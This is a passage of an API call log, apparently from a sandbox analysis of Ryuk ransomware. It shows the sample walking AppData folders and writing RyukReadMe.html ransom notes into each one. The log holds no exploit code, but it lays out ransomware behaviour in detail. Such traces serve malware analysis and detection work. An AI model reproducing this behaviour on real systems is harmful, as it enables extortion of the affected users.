	[0218.323] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x10b3e0 | out: lpFindFileData=0x10b3e0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x212, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0218.324] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0218.324] SetLastError (dwErrCode=0x0) 
	[0218.324] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.324] GetLastError () returned 0x3
	[0218.324] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10ba58, lpOverlapped=0x0) returned 0
	[0218.324] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.324] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="manifests", cAlternateFileName="MANIFE~1")) returned 0
	[0218.324] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0218.327] SetLastError (dwErrCode=0x0) 
	[0218.327] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0218.327] GetLastError () returned 0x3
	[0218.327] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0218.327] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0218.327] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1dc, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0
	[0218.328] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0218.328] SetLastError (dwErrCode=0x0) 
	[0218.328] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0218.329] GetLastError () returned 0xb7
	[0218.329] CloseHandle (hObject=0x5c4) returned 1
	[0218.329] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4be86950, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0218.330] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4be86950, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1d4, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0218.330] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0218.330] SetLastError (dwErrCode=0x0) 
	[0218.330] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0218.331] GetLastError () returned 0xb7
	[0218.331] CloseHandle (hObject=0x6c8) returned 1
	[0218.331] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0218.331] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4baa8590, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4baa8590, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4baa8590, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0218.331] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0218.331] SetLastError (dwErrCode=0x0) 
	[0218.331] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0218.332] GetLastError () returned 0xb7
	[0218.332] CloseHandle (hObject=0x4cc) returned 1
	[0218.332] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0218.332] SetLastError (dwErrCode=0x0) 
	[0218.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0218.333] GetLastError () returned 0xb7
	[0218.333] CloseHandle (hObject=0x4cc) returned 1
	[0218.333] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0218.334] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.334] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0218.334] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c2b0fd0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0218.334] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0218.334] SetLastError (dwErrCode=0x0) 
	[0218.334] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0218.335] GetLastError () returned 0xb7
	[0218.335] CloseHandle (hObject=0x4cc) returned 1
	[0218.335] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0218.335] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0218.756] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0218.758] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0218.759] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0218.759] SetLastError (dwErrCode=0x0) 
	[0218.759] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0218.760] GetLastError () returned 0xb7
	[0218.760] CloseHandle (hObject=0x6c8) returned 1
	[0218.760] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c4a01b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c4a01b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0218.761] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4c4a01b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c4a01b0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.761] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0218.761] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0218.761] SetLastError (dwErrCode=0x0) 
	[0218.761] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0218.762] GetLastError () returned 0xb7
	[0218.762] CloseHandle (hObject=0x5c4) returned 1
	[0218.762] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef20
	[0218.763] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.763] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0218.763] FindClose (in: hFindFile=0x29ef20 | out: hFindFile=0x29ef20) returned 1
	[0218.763] SetLastError (dwErrCode=0x0) 
	[0218.763] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4
	[0218.765] GetLastError () returned 0x0
	[0218.766] WriteFile (in: hFile=0x5c4, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0218.769] CloseHandle (hObject=0x5c4) returned 1
	[0218.769] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0218.769] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4c2b0fd0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x4c2b0fd0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0218.769] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0218.769] SetLastError (dwErrCode=0x0) 
	[0218.770] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0218.770] GetLastError () returned 0xb7
	[0218.770] CloseHandle (hObject=0x6c8) returned 1
	[0218.770] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0218.770] SetLastError (dwErrCode=0x0) 
	[0218.770] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0218.771] GetLastError () returned 0xb7
	[0218.771] CloseHandle (hObject=0x6c8) returned 1
	[0218.771] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c5125d0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4c5125d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
